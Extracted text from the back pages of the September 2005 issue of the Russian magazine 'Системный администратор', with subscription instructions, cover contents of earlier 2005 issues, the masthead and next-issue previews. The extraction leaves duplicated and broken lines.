организации, почтовый индекс и адрес доставки журна-ла, телефон и e-mail контактного лица, период подпис-ки и количество номеров. Редакция выставит вам счет, после оплаты которого вы начнете получать журналы по почте. Необходимые бухгалтерские документы вы-сылаются.

Для физических лиц:! Заполните ниже преведенную квитанцию, оплатите

в любом банке и пришлите в редакцию копию с отмет-ками банка.

! После поступления платежа, редакцию начнет высы-лать вам номера.

* Включая НДС и почтовую доставку

№1(26) январь 2005

подписной индекс 81655

www.samag.ru

Обзор дистр

ибутива SuSE P

rofess

ional 9.2

Прокси-сервер oops: первы

е впечатления

Как защищают программное о

беспечение

Путешестви

е из Perl в

Excel

Нити в Perl

HOTSPOT – это просто!

Программное управление

файловой системой

с помощью VBScript

Восстановление NTFS

Организация общего доступ

а

в Интернет и

защиты от в

торжений

на основе Kerio W

inRoute Firewall 6

Обзор дистр

ибутива SuSE P

rofess

ional 9.2

Прокси-сервер oops: первы

е впечатления

Как защищают программное о

беспечение

Путешестви

е из Perl в

Excel

Нити в Perl

HOTSPOT – это просто!

Программное управление

файловой системой

с помощью VBScript

Восстановление NTFS

Организация общего доступ

а

в Интернет и

защиты от в

торжений

на основе Kerio W

inRoute Firewall 6

№2(27) февраль 2005

подписной индекс 81655

www.samag.ru

Системная интеграция –

общие концепции

Автоматическая установка

операционной системы

и программного обеспечения

SOCKS – универсальный прокси-сервер

Строим виртуальную

сеть с TINC

Создание релиза FreeBSD

IP-роуминг: вводный курс

Почтовый сервер на базе Postfix

Режем спам. Дополнительные методы

Техника оптимизации под Linux

Считаем трафик на FreeBSD:

ng_ipacct + Perl+ MySQL

Системная интеграция –

общие концепции

Автоматическая установка

операционной системы

и программного обеспечения

SOCKS – универсальный прокси-сервер

Строим виртуальную

сеть с TINC

Создание релиза FreeBSD

IP-роуминг: вводный курс

Почтовый сервер на базе Postfix

Режем спам. Дополнительные методы

Техника оптимизации под Linux

Считаем трафик на FreeBSD:

ng_ipacct + Perl+ MySQL

№5(30) май 2005

подписной индекс 81655

www.samag.ruПочему MS SQL медленно работает?

Ищем причины

Строим защищенную беспроводную сеть:

WPA-Enterprise, 802.1x EAP-TLS

Настраиваем UPS под Linux

Как восстановить

удаленные файлы под BSD

Что важно знать об IP-телефонии

Устанавливаем Symantec Antivirus 9.0

в корпоративной сети

Эффективно управляем

полями пользователей в AD

Контролируем безопасность сети

с помощью OSSIM

Интервью с Ларри Уоллом –

создателем языка Perl

№4(29) апрель 2005

подписной индекс 81655

www.samag.ruПочтовая система

Alt-N MDaemonБазовая настройка

маршрутизатора Cisco

Windows Server Update Services

Apache как прокси-сервер

Виртуальная машина SVISTA

Архивируем данные

с помощью Bacula

Защита коммуникаций

Windows Mobile

Система создания

документации POD

Оптимизация циклов

под Linux

Почтовая система

Alt-N MDaemonБазовая настройка

маршрутизатора Cisco

Windows Server Update Services

Apache как прокси-сервер

Виртуальная машина SVISTA

Архивируем данные

с помощью Bacula

Защита коммуникаций

Windows Mobile

Система создания

документации POD

Оптимизация циклов

под Linux

№3(28) март 2005

подписной индекс 81655

www.samag.ru

Linux Xinerama: один монитор хорошо,

а много лучше

Knoppix – русская редакция

Восстановление удаленных файлов

под Linux

FreeBSD в домене Microsoft Windows

Практикум Python:

отправка файлов по электронной почте

Шифрование данных в Linux –

новый взгляд на аппаратные ключи

Автоматизация процесса

подключения баз 1С

Эмуляция при помощи QEMU

Программирование на shell

в экстремальных условиях

Linux Xinerama: один монитор хорошо,

а много лучше

Knoppix – русская редакция

Восстановление удаленных файлов

под Linux

FreeBSD в домене Microsoft Windows

Практикум Python:

отправка файлов по электронной почте

Шифрование данных в Linux –

новый взгляд на аппаратные ключи

Автоматизация процесса

подключения баз 1С

Эмуляция при помощи QEMU

Программирование на shell

в экстремальных условиях

№8(33) август 2005

подписной индекс 81655

www.samag.ru

Сможет ли PC-BSD

Сможет ли PC-BSD

конкурировать

конкурировать

с Linux-дистрибутивами?

с Linux-дистрибутивами?

Оцените WrSpy!

Оцените WrSpy!

Считаем трафик почтовых

Считаем трафик почтовых

и прокси-серверов

и прокси-серверов

Настраиваем DSPAM –

Настраиваем DSPAM –

ваш личный спам-фильтр

ваш личный спам-фильтр

Проводим аудит системы

Проводим аудит системы

с помощью SNARE

с помощью SNARE

Упрощаем

Упрощаем управление

управление

Asterisk

Asterisk-сервером

-сервером

OpenMosix – превратим сеть

OpenMosix – превратим сеть

в единый суперкомпьютер!

в единый суперкомпьютер!

CD, не подвластный

CD, не подвластный

копированию

копированию

Админские сказки

Админские сказки

16 bit edition

16 bit edition

№6(31) ИЮНЬ 2005

подписной индекс 81655

www.samag.ru

Postfix: диагностируем

и устраняем неисправности

Asterisk и Linux:

миссия IP-телефония

Насколько неуязвима

ваша беспроводная сеть?

Используем одноразовые пароли

для удаленного входа на сервер

Как защититься от fingerprinting?

Solaris 10 в качестве десктопа?

Пробуем!

Ускоряем MS SQL Server

Модифицируем BIOS

Ищем дополнительные

источники дохода

№7(32) ИЮЛЬ 2005подписной индекс 81655

www.samag.ru

Настраиваем Kerberos поверх LDAP

Настраиваем Kerberos поверх LDAP

Open-Xchange – свободу группам!

Open-Xchange – свободу группам!

Есть ли жизнь

Есть ли жизньбез антивируса?

без антивируса?Запускаем spamd

Запускаем spamdна FreeBSDна FreeBSDПроверяем

ПроверяемHTTP-трафик на лету

HTTP-трафик на летуНастраиваем WSUS

Настраиваем WSUS Устанавливаем связку

Устанавливаем связку

Postfix + Exchange

Postfix + ExchangeУдаленно управляем

Удаленно управляем

BIOS SetupBIOS Setup Автоматизируем подключение

Автоматизируем подключение

баз 1С новой версии 8.0

баз 1С новой версии 8.0

Page 98: 034 Системный Администратор 09 2005

96

СИСТЕМНЫЙ АДМИНИСТРАТОР

№9(34), Сентябрь, 2005 год

РЕДАКЦИЯ

Исполнительный директор

Владимир ПоложевецОтветственный секретарь

Наталья Хвостова[email protected]Технический редактор

Владимир ЛукинРедакторы

Андрей БешковВалентин СиницынКирилл Тихонов

РЕКЛАМНАЯ СЛУЖБА

тел./факс: (095) 928-8253Дарья Хохловаreс[email protected]

Верстка и оформление

[email protected]Дизайн обложки

Николай Петрочук

По вопросам распространения

обращайтесь по телефону:(095) 928-8253 (доб. 120)

107045, г. Москва,Ананьевский переулок, дом 4/2 стр. 1тел./факс: (095) 928-8253Сайт журнала: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТА

Петр ПоложевецУЧРЕДИТЕЛИ

Владимир ПоложевецАлександр МихалевИЗДАТЕЛЬ

ЗАО «Издательский дом«Учительская газета»

Отпечатано типографией

ГП «Московская Типография №13»Тираж 8400 экз.

Журнал зарегистрированв Министерстве РФ по делам печати, телерадиовещания и средств массо-вых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002 г.)

За содержание статьи ответствен-ность несет автор. За содержание рекламного обьявления ответствен-ность несет рекламодатель. Все пра-ва на опубликованные материалы за-щищены.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Уважаемые читатели!

Спешите оформить подпискуна первое полугодие 2006 года!

Приобрести новые и старые номера журналавы можете через интернет-магазины LinuxCenter.ru и Allsoft.ru.

Доставка почтой в любую точку России.

Scientific Linux – выбираем решение корпоративного уровня по цене носителяНа проходившей в начале сентября в Москве выставке LinuxWorld Russia 2005 хорошо известная на отечествен-ном рынке Linux-систем компания Ли-нукс Инк (http://www.linux-ink.ru) пред-ставила общественности русифициро-ванную версию дистрибутива Scientific Linux. Что же это за дистрибутив? На ка-кого пользователя он нацелен и для ка-ких задач стоит предпочесть его ос-тальным? Ответы на эти вопросы вы уз-наете из нашего обзора.

Управляем серверами в реальном времени с помощью WSH-сценариевНа тему использования различных сценариев в задачах системного ад-министрирования уже написана мас-са всевозможных статей. Особенно это касается Linux/UNIX-операцион-ных систем, обладающих мощными языками сценариев, которые позво-ляют выполнять большое количество различных административных задач. А что же в Windows? В Windows имеет-ся WSH (Windows Script Host) – основ-ной инструмент для всех администра-тивных сценариев. Документация по WSH предлагает использовать сцена-рии преимущественно для сбора ин-формации о системе, работы с фай-ловой системой или изменении раз-личных системных настроек. Однако

в этой статье речь пойдет об исполь-зовании сценариев для автоматизи-рованного мониторинга и управления Windows-серверами.

Пример взаимодействия программы на Си с сервером PostgreSQLPostrgreSQL является эффективным средством для решения задач хране-ния и обработки информации. Разра-ботчики этой СУБД предоставили ин-терфейсы для многих языков програм-мирования. Поддержка таких языков, как Perl, PHP, Python обеспечивает ши-рокое применение PostgreSQL в об-ласти веб-программирования. Также не оставлен в стороне и язык систем-ного программирования Cи, что поз-воляет использовать эту СУБД в слу-чаях, когда требуется добиться от при-ложения максимального быстродейс-твия. Мы рассмотрим пример взаимо-действия программы на Си и сервера баз данных PostgreSQL c использова-нием библиотеки libpq.

Как посчитать трафик в Linux Многие из вас в своей работе сталки-ваются с задачей подсчёта расходуе-мого трафика в своей локальной сети. В следующем номере журнала читай-те решение задачи учёта трафика, про-ходящего через шлюз локальной сети в Интернет, с помощью ipcad (Cisco IP accounting simulator).